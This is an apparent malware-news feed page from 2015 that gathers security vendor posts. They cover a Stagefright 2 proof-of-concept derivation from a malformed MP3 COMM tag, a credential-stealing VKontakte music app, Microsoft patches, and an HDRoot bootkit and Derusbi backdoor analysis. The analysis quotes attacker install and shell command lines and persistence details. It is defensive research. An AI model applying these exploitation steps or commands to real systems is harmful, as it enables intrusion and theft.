Malware RSS Feed

Secure Your Home Wi-Fi Network

SANS Tip of the Day - Wed, 10/28/2015 - 01:00
Be aware of all the devices connected to your home network, including baby monitors, gaming consoles, TVs, appliances or even your car. Ensure all those devices are protected by a strong password and/or are running the latest version of their operating system.

On the trail of Stagefright 2

Malware Alerts - Fri, 10/23/2015 - 09:03

In early October, it was announced that a critical vulnerability had been found in the libutils library. The libutils library is part of Android OS; it implements various primitive elements that can be used by other applications. The least harmful result that exploiting this vulnerability could lead to is the software that uses the stagefright library and handles MP3/MP4 files crashing.

Although exploits for newly discovered vulnerabilities take a while to appear ‘in the wild’, we believe we should be prepared to detect them even if there have been no reports, as yet, of any such exploits being found. Since a working exploit is needed to develop protection functionality, PoC files are commonly used to implement detection.

In this case, developing detection logic that would cover possible exploits for the vulnerability was complicated by the fact that no PoC files were readily available. Because of this, we decided to do the research and generate a PoC file on our own.

We are going to omit some technical details when discussing our work to prevent cybercriminals from using this information.

We began by looking at the changes made to the source code of libutils in order to close the vulnerability. As it turned out, the following change was among the latest:

Checking input parameters in allocFromUTF8 function of String8 class

It can be seen in the code that if len = SIZE_MAX, this will cause an integer overflow when allocating memory.

We assumed that the following had to be done to cause software that handles MP3 files to malfunction: pass a number equal to SIZE_MAX as the second parameter to the allocFromUTF8 function. The function is called from several places in the String8 class. If you analyze the implementation of the String8 object, you will see that the function of interest to us is called in the following places:

  1. in the String8 class’s constructor (two implementations are possible);
  2. in the setTo method (two implementations are possible).

It is also worth noting that in one of the two implementations of the constructor and in one of the two implementations of the setTo method, an input parameter is passed that is subsequently passed to allocFromUTF8. This leads us to another conclusion: we are interested in the code that creates the String8 object and explicitly passes the string length in the class’s constructor or calls the setTo method (specifying the string length).

Based on what we know, the vulnerability is exploited when handling MP3 files. This means that it makes sense to look at the way the String8 class is used in the code responsible for handling MP3 files. This code is easy to find in the following branch: \media\libstagefright\MP3Extractor.cpp.

Use of the String8 class in MP3Extractor.cpp code

One of the first times the class is used is when parsing the MP3 file’s COMM tag (the tag stores information on comments to the MP3 file):

Reading comments from an MP3 file using the vulnerable String8 class

It can be seen in the code that another class, ID3, which is responsible for parsing ID3 data, is used to read strings (we are interested in the getString method).

Before looking at this component’s code, have a look at the COMM tag’s structure (information on this can be found in official documentation —

Example of the COMM tag from a regular MP3 file

Based on the documentation, we have the following:

COMM – Frame ID
00 00 00 04 – size
00 00 – flags
00 – text encoding
00 00 00 – Language
00 – null terminated short description
74 65 73 74 (test) – actual text

Next, let’s look at the ID3 parser code:

void ID3::Iterator::getString(String8 *id, String8 *comment) const { getstring(id, false); // parse short description if (comment != NULL) { getstring(comment, true); } } void ID3::Iterator::getstring(String8 *id, bool otherdata) const { id->setTo(""); const uint8_t *frameData = mFrameData; if (frameData == NULL) { return; } uint8_t encoding = *frameData; if (mParent.mVersion == ID3_V1 || mParent.mVersion == ID3_V1_1) { ..... } size_t n = mFrameSize - getHeaderLength() - 1; // error, overflow possible !!! if (otherdata) { // skip past the encoding, language, and the 0 separator frameData += 4; int32_t i = n - 4; while(--i >= 0 && *++frameData != 0) ; int skipped = (frameData - mFrameData); if (skipped >= (int)n) { return; } n -= skipped; } if (encoding == 0x00) { // ISO 8859-1 convertISO8859ToString8(frameData + 1, n, id); } else if (encoding == 0x03) { // UTF-8 id->setTo((const char *)(frameData + 1), n); } else if (encoding == 0x02)

It can be seen in the code that, under certain conditions, we can call the setTo method of the String8 class, which will in turn call allocFromUTF8 with a pre-calculated value of n.

It only remains to find out whether we can influence the value of n in any way. And, more specifically, whether we can make certain that -1 (0xFFFFFFFF) is written to n as a result of calculations.

The size of the header depends on the version of the ID3 format.

Now we only need to sort out mFrameSize. The amount of code used to calculate this parameter is sufficiently large. It was established by trial and error that the value of the mFrameSize variable when parsing a file also depends on the COMM tag and the version of the file being parsed.

It follows from this that we have the means to influence the values of two variables from the following expression:

size_t n = mFrameSize — getHeaderLength() – 1

By changing data in the COMM tag, we can influence mFrameSize. Using simple math, we can make certain that the following expression is true:

mFrameSize — getHeaderLength() – 1 = -1

As a result of execution, the following value will be written to the n variable: -1 (0xFFFFFFFF).

Now, all we have to do is pass this value to the setTo function. It can be seen in the code that this method will be called if the encoding field in the COMM tag header has certain values.

Calling the setTo method and passing data size to it

If these conditions are met, we get an MP3 file with a malformed COMM tag. Processing it will result in the stock browser and music player crashing:

Stack trace of a crash when processing an MP3 file with a malformed COMM tag

This means we have successfully created a PoC exploit for the vulnerability in question.

Kaspersky Lab products detect this exploit as HEUR:Exploit.AndroidOS.Stagefright.b.

Stealing to the sound of music

Malware Alerts - Thu, 10/15/2015 - 06:04

According to the old Chinese saying, the journey of a thousand miles begins with one step. And our path to revealing large-scale theft of VKontakte users’ personal data began with an email from a user asking us to take a look at a suspicious app.

At first glance, the VK Music app only displayed legitimate functionality – it played audio files uploaded to the social network. But further study showed that it also contained malicious code designed to steal VKontakte user accounts and promote certain groups on the social network.

VK Music was available for download at the official Google Play app store. By our estimates, the attackers could have used the app to steal hundreds of thousands accounts from users of the social network.

How this malicious program works

Immediately after running, VK Music asks users to enter their login and password for their VKontakte account so that the app can function on the site.

After users enter their login details the app sends them to the legitimate authentication server If authentication is successful, the user can listen to music uploaded to the social network. At the same time, a Trojan sends the verified login and password to a cybercriminal server in ordinary text.

It should be noted that this method of transferring the logins and passwords could also result in them being used by other criminals, because the secure HTTPS protocol is not used.

The Trojan then contacts its server for a list of groups to be promoted by the attackers and immediately adds the stolen accounts to these groups.

In addition to promoting groups, the attackers can change passwords and use stolen accounts at their own discretion: we know of cases when victims of the Trojan lost access to their accounts on VKontakte after a period of time.

Mass infection

As mentioned above, VK Music could be downloaded from the official Google Play store. Such apps are very popular among Android users.

The first version of the malicious VK Music app known to us was published on Google Play on 16 August 2015. Then the versions were modified every 6-10 days. Only the package name differed for all the versions – the functionality remained unchanged.

The latest version known to us was published on 4 October. It was at least the seventh version of the malicious application; the earlier six modifications were removed by Google. At the same time, according to data in the Trojan code, it was the 15th version of the application. We cannot confirm that all those versions were published on Google Play; we have only seen seven of them.

What makes the situation worse is the ease with which the fraudsters upload every new version of the Trojan in place of those that are blocked.

By the next day the version published on 4 October already had an average score of 4.5 with more than 600 user ratings.

According to Google Play, the latest version was downloaded by between 100 000 and 500 000 users in just two days. Our data suggests that one of the earlier versions was 10 times as popular, meaning that version alone could have infected hundreds of thousands of devices.


For the user, the theft of his VKontakte authorization data will go unnoticed until the criminals decide to use the data and change the login/password or start sending spam from a stolen account.

We urge users to be careful and not to enter their login details in third-party apps. If you have installed VK Music or a similar app for listening to music on VKontakte, we strongly recommend you remove it and immediately change the login and password to your account on the network.

We reported the latest version of the malicious app to Google, and it has been removed. The groups promoted by the Trojan were blocked by the social network’s administration, whom we also informed.

All versions of the malicious application are detected by Kaspersky Lab products as Trojan-PSW.AndroidOS.MyVk.a.

Special thanks to Alexander Denkov for his help in detecting this malware.

Microsoft Security Updates October 2015

Malware Alerts - Tue, 10/13/2015 - 19:58

Microsoft releases six Security Bulletins today, three of them “critical” remote code execution, to fix almost thirty CVE-enumerated vulnerabilities. None of them are known to be publicly exploited, and only a couple are known to be publicly discussed. So, this round yet again demonstrates Microsoft’s continued commitment to proactive security software maintenance. A dozen of these CVE were reported by researchers working with HP’s Zero Day initiative, and a kernel memory corruption vulnerability credited to md5 “dbc282f4f2f7d2466fa0078bf8034d99”.

Patches go out this month for vulnerable Microsoft software that could be used as an attack vector:

  • Internet Explorer
  • Windows system components
    • VBScript and JScript engines through Internet Explorer
    • VBScript and JScript engines through embedded ActiveX objects opened in Microsoft Office documents
  • Microsoft Edge
  • Windows “Shell” (related to Toolbar processing) on standard Windows workstations and laptops, and tablets
  • Microsoft Excel (for Windows and Mac)
  • Microsoft SharePoint
  • Office Web Apps
  • Excel Viewer
  • Microsoft Office Compatibility Pack
  • Windows Boot Configuration Data (BCD) parser effecting Windows Vista and all more recent OS
  • Windows File System Components

While the urgency does not seem to be quite as high as past months, please update your Microsoft software asap.

As of today, HP’s Zero Day initiative maintains over 300 upcoming advisories. Of course, the usual suspects are in there like Adobe, Apple, Oracle, and Microsoft, but it’s most interesting that the bulk of them are unrelated to these names. Microsoft is not at the top of the list, regardless of the prevalence and complexity of their software. Instead, upcoming serious advisories mostly cover bugs in IoT, embedded, SCADA and ICS related software from Advantech, Tibbo, Schneider Electric, Proface, Unitronics, and Ecava.

I am HDRoot! Part 2

Malware Alerts - Tue, 10/13/2015 - 05:53

Some time ago while tracking Winnti group activity we came across a suspicious 64-bit sample. It was a standalone utility with the name HDD Rootkit for planting a bootkit on a computer. Once installed the bootkit infects the operating system with a backdoor at the early booting stage. The principles of this bootkit’s work, named HDRoot, have been described in the first part of our article. During our investigation we found several backdoors that the HDRoot bootkit used for infecting operating systems. These backdoors are described in this part of the article.


Since the backdoor installed with the use of HDRoot might be arbitrary, we can’t describe what malware is run by HDRoot bootkit in every case where it might be found. But at least we have managed to collect two types of malware that were identified while tracking HDRoot. The first one was extracted manually from the hard drives of victims where HDRoot was detected and who contacted us for the help with combating the infection. Another one was found in a standalone dropper that contained both HDRoot and the installed backdoor.

1st type backdoor MD5 Size Linker Compiled on C0118C58B6CD012467B3E35F7D7006ED 113’152 10.00 2012-12-19 17:14:21 Property Value FileVersion 6.1.7601.17514 (win7sp1_rtm.101119-1850) FileDescription ProfSvc InternalName ProfSvc OriginalFilename ProfSvc.dll LegalCopyright © Microsoft Corporation. All rights reserved. ProductName Microsoft® Windows® Operating System CompanyName Microsoft Corporation

This is the malware family known as server-side Derusbi, which we observed during several Winnti-related incidents. Usually this is a DLL with the internal name OfficeUt32.dll and exported functions like:


This list of functions can differ slightly from version to version. The main DLL includes other malware components in its body, usually maintained in the XOR-ciphered form:

The structure for maintaining additional modules

The Derusbi samples installed with the use of the HDRoot bootkit contained a Remote Shell module and network driver.

The installation routine is implemented in the exported function “DllRegisterServer“. When called, this function performs the following actions:

  • It copies itself to the folder “%System32%\wbem\“, with a name consisting of “ntfs” + three random letters, and a “.mof” extension, for example “ntfsqwe.mof“, and sets the year to 2005 in the date attributes of the file.
  • It puts a string with its own path to the “ServiceDll” value in the registry that associates with the “iphlpsvc” or “wuauserv” system service depending on Windows version, and saves the original value of “ServiceDll” in encrypted form to the “Security” parameter of the same registry key. It executes the malware on system startup.
  • After the malware service has started, it starts the original system service that was replaced, running the dynamic link library associated with the service specified in the “Security” parameter during malware installation.

The malware stores its configuration data in encrypted form in the “Security” value of the HKLM\SOFTWARE\Microsoft\Rpc registry key. It contains a unique computer identifier, and the signature for matching incoming C&C server packets.

The malware can either connect to the C&C server directly if it is specified in the settings block in its body or work in listening mode if no C&C server is defined. The samples related to the HDRoot bootkit we found worked in listening mode.

1st type backdoor: the driver MD5 Size Linker Compiled on C8DAF9821EBC4F1923D6DDB5477A8BBD 37’264 9.00 2012-12-19 17:08:53 Property Value FileVersion 6.1.7601.17514 (win7sp1_rtm.101119-1850) FileDescription Partition Management Driver InternalName partmgr.sys OriginalFilename partmgr.sys LegalCopyright © Microsoft Corporation. All rights reserved. ProductName Microsoft® Windows® Operating System CompanyName Microsoft Corporation

(The driver was signed on ‎December 19, 2012 17:11:14 with the stolen certificate of South Korean online gaming company XL Games. The certificate was revoked on Jun 21, 2013. Its serial number is: 7b:d5:58:18:c5:97:1b:63:dc:45:cf:57:cb:eb:95:0b).

The main malware DLL decrypts, drops and runs the rootkit as a file “%System32%\Drivers\Lst_Update.sys”. The driver at the very beginning of the process removes all registry values created during its launch and the actual driver file. The rootkit conceals malicious network activity from popular network monitoring tools by hooking the IRP_MJ_DIRECTORY_CONTROL service routine of “\Device\Tcp” or “\Driver\nsiproxy” system objects. It also hides the file “\windows\system32\wiarpc.dll” from user-mode applications by hooking the IRP_MJ_DIRECTORY_CONTROL service routine of the file system driver “\FileSystem\Ntfs”.

If the malware works in listening mode, the rootkit is also engaged in the communication routines. It sniffs all incoming network packets and searches them for a specially crafted signature. If found, it redirects these packets to the listening socket opened by the main malware module. The main module creates a network socket on a random port on all network interfaces. If the rootkit pushes a network packet that matches the predefined signature, the main malware module will process it. This network packet includes command code and the module ID that has to perform that command. Known versions of the malware recognize five modules with different commands:

Module ID Supported commands 0x80 Services management: list of services, creating, starting, stopping, deleting services
Manage running processes: terminating, retrieving module file name, processes token
Registry management 0x81 Execution of arbitrary files or shell commands on infected system 0x82 Traffic redirection via port forwarding: infected host is used as proxy 0x84 Browsing the file system, uploading/downloading files 0x240 Main module control: removing the main module, stopping the main module, downloading and starting DLL from the remote server (this DLL will be saved in %TEMP% as “tmp1.dat”), starting network proxy 1st type backdoor: remote shell library MD5 Size Linker Compiled on 1C30032DC5435070466B9DC96F466F95 13’360 10.00 2012-12-19 17:12:12 Property Value ProductVersion 6.1.2600.1569 ProductName Microsoft®Windows®Operating System CompanyName Microsoft Corporation FileDescription Microsoft update FileVersion 6.1.2600.1569

As was mentioned earlier, besides a network driver there was only one additional module included in the discovered versions of the Dersubi samples related to HDRoot – Remote Shell. The main malware module decrypts, drops and runs it as the file “%Systemroot%\Help\perfc009.dat”. This is the DLL with the internal name Office.dll and one exported function R32. The library is run by executing the following command line:

rundll32.exe %Systemroot%\Help\perfc009.dat R32 <random_number>

where <random_number> is a pre-shared value generated by the main module.

The Remote Shell library creates two named pipes used to communicate with the main module:


The command line from the operator for execution is expected to come through the pipe \pipe\usb<random_number>o. When this command comes a new process is created to execute it in the working directory %SystemDrive%. Standard input of the process that has just been created is set to be obtained from the pipe \pipe\usb<random_number>o, while output and STDERR are redirected into the parallel pipe \pipe\usb<rando_number>i. This means input to the executing program comes from an operator and the program’s output goes back to him, framing an effective backdoor channel.

2nd type backdoor: the dropper MD5 Size Linker Compiled on 755351395AA920BC212DBF1D990809AB 266’240 6.00 2013-11-18 19:23:12

We were able to spot a sample that turned out to be a one-click installer of the backdoor with the use of HDRoot. This is a Win32 executable compiled on 18 November 2013 according to its data stamp in the header. The executable includes resources “102” and “103” of custom type “MHM”. These are the executable of HDRoot installer and the installed backdoor.

The role of the installed backdoor is played by the executable maintained as the resource “102” and dropped as the file %windir%\bootmgr.exe. (Running a few steps forward we have to say that formally it’s not a backdoor but a downloader.) The tool “HDD Rootkit” which is the resource “103” is dropped as %windir%\hall32.exe. Then the dropper runs the following command line:

%windir%\hall32.exe inst %windir%\bootmgr.exe c:

that instructs the HDRoot installer named hall32.exe to install the HDRoot bootkit onto the hard drive where disk C: is located with subsequent running of the downloader bootmgr.exe on system start-up.

There are other files specified in the dropper’s body that it checks for in the file system or which the malware uses in intermediate procedures:


The downloader MD5 Size Linker Compiled on 11E461ED6250B50AFB70FBEE93320131 69’632 6.00 2013-11-18 19:22:30

The downloader bootmgr.exe was also compiled on 18 November 2013 like the dropper. According to the list specified in its body, it downloads files by following URLs and runs them:

If anything is available via these URLs, it is dropped onto the disk with one of the following file names and run:


The downloader checks the size of the dropped file and only runs it if it is greater than 20896 bytes.

It turned out that this is a double downloader: it maintains another sample with downloading functionality in its body. The malware drops it with the file name %windir%\svchost.exe and subsequently runs it with the parameter “install”. For some reason, immediately after running the 2nd downloader the malware stops the work of the Internet Connection Sharing service with the command line:

cmd.exe /c net stop sharedaccess

There are other files specified in the downloader’s body that it checks for in the file system:


The 2nd downloader MD5 Size Linker Compiled on ACC4D57A98256DFAA5E2B7792948AAAE 22’016 6.00 2013-11-18 19:06:32

This malware is able to recognize two parameters: “install” and “remove”. In the installation branch it creates the auto-starting “Winlogon” service with the description “Provides automatic configuration for the 802.11 adapters” and adjusted to run its own executable. The “remove” parameter obviously leads to the deleting of this service.

While running, the service decrypts the list of URLs included in its body and tries to download the content by addresses formed by appending “default.gif” to the URLs from the list. This is a complete decrypted list of URLs:

As you can see, this list includes sites of legitimate and trusted parties and they are unlikely to maintain malware components. Because every site is generally not malicious, some of them were probably compromised, or else the malware would not have been functional.

The content is downloaded into the file %windir%\image.jpg. But this is only an intermediate stage. It should be a text file that is parsed by the malware. The first line of that file should contain only numbers greater than 139; if not, the malware skips processing that content. The second line is for the URL the malware should use to download an executable and the third line specifies the file name for the downloaded executable that is dropped into the file system. After downloading the malware restores 2 bytes “MZ” at the very beginning of the dropped file and runs it.

At the same time as it is downloading, the malware tries to remove specific antivirus software. On finding an uninstall command line in the registry the malware runs it and by manipulating the user interface buttons of the application it tries to remove three AV products: AhnLab’s V3 Lite, AhnLab’s V3 365 Clinic and ESTsoft’s ALYac. Although there is a process for those products only, the malware also includes inactive functions to disable Naver Vaccine and McAfee Security Center. The origin of those vendors clearly suggests that the malware was intended for targets in South Korea.

Since the malware is already quite old we have not been able to download any relevant material from the URLs specified both in the 1st and 2nd downloaders. Servers have been responding with nothing or pages stating the absence of content.

Earlier discovery

We were not actually the first AV company to encounter HDRoot malware face to face. At the end of 2013 South Korean AhnLab issued a comprehensive report on the ETSO Hacking group based on incident response cases their digital forensic team was working on. ETSO malware, according to AhnLab’s classification, mostly corresponds to Winnti malware as we detect it. During their analysis AhnLab’s engineers discovered infected MBRs that, according to their description (pages 14-15, chapter “2.5 Maintain Network Presence”), sound like the result of an HDRoot bootkit installer at work:

AhnLab’s HDRoot scheme of work

Also, we know about incident handlers not necessarily from AV companies that are acquainted with the HDD Rootkit utility. However, when it comes to detection, despite the fact that this dangerous threat is quite old, antivirus products were not that good at detecting it.


As expected, HDRoot infections prevail in Winnti’s traditional region of primary interest – South East Asia, especially South Korea, according to KSN. But other parts of the world have also been affected and the extent and impact of this threat may be significant.

HDRoot-related malware hits

It’s important to point out that the numbers don’t represent the nature of the targets. It means that by simply looking at the numbers we can’t see what sort of companies were attacked. Hence, the map may present a different story from the reality in terms of probable damage for a particular country.

For example, we were involved in mitigating an HDRoot infection in two major companies in Russia and the UK where the malware was discovered on multiple servers with the use of our products. In both cases, the damage due to infection could be very significant, especially in Russia where many of the company’s customers could have been affected. However, on the map Russia is shown as having suffered just a single hit, while the UK has 23 attacked systems.

Although we have not found many malware families installed using HDRoot, and attribute known HDRoot-related activity to Winnti, we continue to assume that this bootkit may be used in multiple APT. We already know about an overlap in Winnti activity and other APT from previous incidents. Taking into account the HDRoot installer’s nature as a standalone tool, it’s very possible that this bootkit could be in the hands of other threat actors.

We detect HDRoot malware with following verdicts:


Backdoors and downloaders related to HDRoot bootkit:


Indicators of Compromise Samples hashes



%System32%\wbem\ntfs<3 random chars>.mof

The rise of .NET and Powershell malware

Malware Alerts - Mon, 10/12/2015 - 06:08

A long time has passed since the infamous virus writer Benny from the 29A group released to the world his proof of concept malware ‘Donut‘, targeting .NET executables and written in a combination of assembly and Microsoft intermediate language (MSIL). Even though his creation wasn’t noticeably revolutionary nor harmful, it demonstrated the effectiveness and simplicity of relying on Microsoft’s newly released .NET framework for nefarious purposes. It wasn’t until we met ‘Sharpei’ that we were presented with malware truly written in a .NET compliant language such as C#. Opening Pandora’s box, the evils of the .NET and PowerShell ecosystems began in quite an innocent manner, gradually evolving into the convoluted cybercrime scene that we’ve come to know nowadays.

We recently had the privilege of presenting our .NET and PowerShell malware research at the emblematic Virus Bulletin conference, held once again in the fascinating city of Prague. Interestingly enough, in the year 2001 at this very same conference and location, researchers Richard Wang and Philip Hannay presented on a thought provoking topic: ‘MSIL For the .NET Framework: The Next Battleground?’, proposing a future in which the .NET Framework would enable a whole new breed of cybercrime. Also depicted in Péter Ször’s must read book ‘The Art of Computer Virus Research and Defense’, the prediction that JIT Dependency and Microsoft .NET Viruses would become a worrisome and ever-evolving threat slowly but surely became a reality. Nowadays, we are constantly talking about malware and not simply ‘viruses’ anymore, mainly due to the amount and variety of malicious code that we have to deal with and analyse everyday. The diversity of quality of malware is undoubtedly increasing, enough to warrant the usage of new terminology to refer to each malicious creation by its behavior and demonstrable characteristics. However, how much has this particular threat evolved in recent years?

From the year 2009 until 2015 there has been a 7000% growth in the number of .NET malware unique detections.

Gone are the days where a programming-savvy malware writer would lock herself up in a dark basement, looking at a glaring screen filled with assembly code. A challenge to the status quo has succeeded and now the self-titled cybercrime industry has become a booming business with criminals all around the world wanting to jump on the bandwagon and get a piece of the action. With a greater availability of high-level programming languages each day, some even taught in high school and university-level courses thanks to their simplicity, lots of curious ‘wannabe criminals’ with dubious intentions find themselves surprisingly equipped to reach into the depths of the Internet and pull out examples of source code and step-by-step tutorials to create their next malicious campaign. Instead of wanting to showcase their technical expertise or intellectual capacity, criminals have adopted proven practices from agile software development and business administration that focus on maximizing profits while minimizing the development time and maintenance cost of these dreadful concoctions.

In 2002, Microsoft released a game-changing framework that revolutionized the software development industry and unwittingly provided malware writers with an unimaginable arsenal of weapons. While ‘script kiddies’ resorted to builders and automated environments to cobble together variations of already-available malware samples, seasoned malware writers now had access to forums with approachable lessons on how to write fresh pieces of malicious code, all with an eye to the most desirable feature of all: avoiding antivirus detection for as long as possible. Aimed to compete directly with Oracle’s JAVA platform, the .NET framework provided not only a comprehensive library of built-in functions but also an accompanying development environment capable of supporting several high-level programming languages including Microsoft’s soon-to-be-flagship C# and the evolution of Visual Basic dubbed VB .NET.

Available by default in most Windows installations, the .NET framework has become the de-facto standard for software development in Microsoft’s family of operating systems. Moreover, with the 2006 addition of the increasingly powerful PowerShell scripting framework, the interaction between .NET’s supported programming languages and scripting automation has given software developers and system administrators an easy way to interface not only with the operating system but nearly all Microsoft software, ranging from the Office suite to their crown jewel, the SQL Server database engine.

Vast amounts of ready-to-use functionality make .NET and PowerShell a deadly combination at the hands of cybercriminals. The straightforward value is immediate: developing simple yet effective applications to send spam, brute forcing credentials for virtually any service, or creating the next global malicious campaign. The added benefit: PowerShell being ubiquitously whitelisted due to its importance in everyday Windows system administration and other recurring management activities translates into increased difficulty to prevent attacks reliant on these deeply ingrained operating system components.

With access to a powerful integrated development environment (IDE) such as the newly-free Visual Studio, even application lifecycle management and rapid application development practices have gotten easier and increasingly adopted by today’s cybercriminals with aspirations of forming part of an organized industry. Clearly designated separations between programmers, designers, testers, command and control server administrators, and everyone involved in cybercriminal operations translates to maximum efficiency and, in turn, maximum profits. Computer-enabled crime and fraud have become a faithful reflection of their ‘real-life’ counterparts. With cybercrime gangs stealing millions of dollars from institutions (examples include Carbanak and gangs like the recently apprehended Svpeng), we are witnessing a paradigm shift in computer crime away from the ‘one man show’ to that of an earnest team effort. On the other side of the table, we find cooperation between private security research companies and law enforcement agencies proving paramount in combating these borderless threats.

.NET malware classification by behavior.

Choosing a representative set of malware samples of the .NET and PowerShell ecosystem is a daunting task. For this opportunity we have chosen to analyse and share with our audience a Mexican ATM malware sample named ‘Ploutus’, an APT campaign found in Syria, and the latest .NET ransomware making the news, ‘CoinVault’.

Ploutus allowed criminals to extract money without authorization, stealing the amount they wanted directly from the machine without needing access to any special banking information. In a world where most of the scams are targeted at end-users, finding one that affects the banking institutions directly is not very common. This malware eventually spread out of Mexico, with variants appearing in the wild using a graphical user interface in English and even adding functionality such as sending an SMS to the ATM to make remote withdrawals.

In the case of the Syrian malware APT campaign, the usage of high level programming languages (i.e. C#) has been proven popular among attackers as they need to modify their malicious creations more rapidly to keep their ongoing attempts at infecting more and more victims. This brings the added benefit of leveraging already available source code from the underground scene. The possibility of embedding remote administration tools into the malware used for distribution enables extreme customization of the code, making this type of threat seemingly interesting for cybercriminals already proficient in the usage of social engineering for massive distribution of their contraptions.

Our ‘usual suspects’ lists wouldn’t be complete without a ransomware case, and what better than CoinVault, a malware that infected more than 1500 Windows PCs in over 20 countries. .NET malware still has a long way to go to become king of the hill, it’s relatively easy to disassemble and reverse engineer a newly detected threat, making the analysis process quicker than with other types of malware. So, are we reaching the end of the ransomware nightmare? Fortunately, there’s one less ransomware to worry about for now, but the bigger problem still requires a lot of work for every party involved. An effective cooperation between private companies and law enforcement is a must when dealing with borderless cybercrime such as digital extortion and here we have taken a step in the right direction.

Most attacked operating systems by malware written in any .NET compatible language.

The number of malware samples created either in any CTS compliant .NET language or PowerShell is increasing, and while it’s currently being used solely to target Windows systems, we could soon be witnesses of a reality where a cross-platform infection is not just an academic proof-of-concept but a possible and dangerous threat. With the timely release of the source code for core components of .NET, alternative frameworks such as the Mono Project could easily be providing an extensively cross-platform mean to execute .NET applications. Even in the burgeoning .NET for mobile ecosystem, an interesting malicious sample was recently spotted in the wild. Supported by the Android version of the Mono framework, it shows that the bad guys never stop testing new fertile grounds for business opportunities.

Targeted malicious campaigns and advanced persistent threats are being announced non-stop nowadays and with the easiness provided by high level programming languages such as C# and VB .NET, the coordination between a large group of developers focused on compromising a specific set of targets could reap the benefits of software engineering practices applied to cybercrime. Even if a persistent threat needs an “advanced” component in order to be considered as such, the definition might become more flexible considering that not only one technology would be used in order to compromise a desired mark, making the combination of high level programming languages, scripting, and any other available means a recipe for true malware development modularization. From code versioning directly available in the developer’s IDE to continuous build automation, the organized cybercrime industry can give a whole new definition to the phrase ‘malware as a service’.

As security researchers and malware analysts, the extensive amount of source code available from the analysis of in-the-wild malware samples and ‘hacking’ tools, will allow us to get a glimpse at the previously hidden internals of the malware world, one that was purely written in assembly and now is becoming available for the entire community to learn from. With each new malicious sample representing a challenge in itself, a common set of characteristics arise between them all, shaping our job into a puzzle solving reality where we abstract from any technology used in the conception of malware until we are ready to act, analyze and defend. As the poet, novelist, and natural philosophy Johann Wolfgang von Goethe expressed, “Knowing is not enough; we must apply. Willing is not enough; we must do.”

We would like to kindly thank the Virus Bulletin conference organizers (especially Martijn Grooten) for giving us the opportunity to share our research with the community and to publish it here for a broader audience.

Santiago Pontiroli and Roberto Martinez, ‘The TAO of .NET and PowerShell Malware Analysis’, October 2015, Virus Bulletin. Copyright is held by Virus Bulletin Ltd, but is made available on this site for personal use free of charge by permission of Virus Bulletin.

You can download the full PDF paper here.

APT Research Discourse at Virus Bulletin 2015

Malware Alerts - Tue, 10/06/2015 - 17:35

Kaspersky Lab researchers presented a closing keynote and three other papers related to targeted attacks and APT research at Virus Bulletin 2015 in Prague. Our work covered a set of significant topics most related to current APT research:

Topics arising at the conference that were most interesting included APT research and threat intelligence, Linux (and embedded) as a targeted platform in much higher prevalence, and Apple’s security technology Gatekeeper flaws. Costin, the mysterious spook, and Juan’s talks and papers reflected on the threat intelligence industry as a transformation. One from malware analysis to intelligence brokerage and the challenges already encountered by both individuals being warned to “take a break”, and an industry in need of validation when its work is mostly behind closed doors. When the discussion went to the floor, participants agreed that this discussion and its many relevant issues is a very important one worth discussing. My talk discussed the Turla APT’s satcomm hijack techniques from the perspective of reviewing connective clusters of components to identify Turla activity, including some discussion of components almost within grasp but unknown since 2008. And some connections with stolen Phonoelit concepts, tools and code, from Penquin Turla to GRE attack inspiration PoC for satcomm hijacks. And Roberto and Santiago’s talk discussed a newer set of technologies, from Powershell to .NET components, more commonly deployed by APT this past year.

Conference slides that were shared by speakers can be found here. Upcoming Securelist posts may elaborate on our papers and topics. And cheers to the hardworking and talented Virus Bulletin team for their conference’s 25th anniversary!

I am HDRoot! Part 1

Malware Alerts - Mon, 10/05/2015 - 22:00

Some time ago while tracking Winnti group activity we came across an intriguing sample.

MD5 Size Linker Compiled on 2C85404FE7D1891FD41FCEE4C92AD305 241’904 10.00 2012-08-06 16:12:29 Property Value CompanyName Microsoft Corporation FileDescription Net Command FileVersion 6.1.7600.16385 (win7_rtm.090713-1255) InternalName net.exe LegalCopyright © Microsoft Corporation. All rights reserved. OriginalFilename net.exe ProductName Microsoft® Windows® Operating System

It was protected by a commercial VMProtect Win64 executable signed with a known compromised certificate from Chinese entity Guangzhou YuanLuo Technology. Moreover, the properties of the executable read as if it were Microsoft’s Net Command net.exe, and even running the sample also resulted in output typical of the original net.exe utility:

Masquerading as net.exe

All this pointed to the sample being rather suspicious.


Since the code of the program was protected, an analysis of its functionality would have been an arduous task. But luckily a dump revealed some unique and quite important strings and four more samples hidden inside the initial one: Win32 and Win64 versions of one library and one driver:

Strings in malware body

The strings led us to suspect that this sample was actually a bootkit installer. And thanks to some clear artifacts we found a similar sample but with no code protection that confirmed our suspicions.

First of all, let’s run this tool:

Original HDD Rootkit output

The program parameters are quite self-explanatory – this tool installs a bootkit that infects the operating system during the boot stage with an arbitrary backdoor specified as a parameter. The backdoor has to be a Win32 executable or dynamic link library.

This utility is called “HDD Rootkit”; hence the base of our verdict names HDRoot. On 22 August 2006 the version number was 1.2.

So, we can conclude that the protected version was the same utility modified for use on the victim side to avoid revealing the intent of the tool in case someone outside the intruders’ circle discovered it.

HDD Rootkit maintains a bunch of resources that also have quite telling names:

HDD Rootkit resources

As it reads:

“MBR” maintains the 1st piece of malicious code that is injected to the MBR of an infected computer;
“BOOT” – 2nd piece of malicious booting code;
“RKIMAGE” – 3rd piece of malicious booting code;
“DLLLOAD” – Dynamic Link Library that is pushed by the malicious booting code into the file system and OS autorun.

Let’s try running some executable with the help of a bootkit. In our experiment the role of the executable is played by a benign program that does nothing apart from create a file in the root of the C: drive. I will try to run it using the HDD Rootkit utility with the following command line:

hdroot.exe inst write_to_c.exe c:

telling it that I’d like to install a bootkit on drive C: that will make the program write_to_c.exe run on system startup.

Live installing of HDRoot bootkit

The utility checks the free space left on the specified drive and refuses to install the bootkit when the value is less than 30% of overall volume.

Free space check

So, now the bootkit has been installed. Let’s take a look at what has happened. First of all, part of the code in the MBR is replaced with a malicious one from the resource “MBR”:

“MBR” resource

The first 2 bytes EB 70 mean a jump to the 72nd offset where the rest of the 1st booting code block is located. The zeros before 0x70 and after 0xB0 mean the code of the original MBR at these positions remains intact. The following image represents a patched MBR after the bootkit is installed:

Injected malicious code in MBR

This first piece loads the next booting code block that has been placed by the bootkit installer in the 11th sector (Offset: 0x1400 bytes). The 2nd block is taken from the resource “BOOT”.

2nd booting block

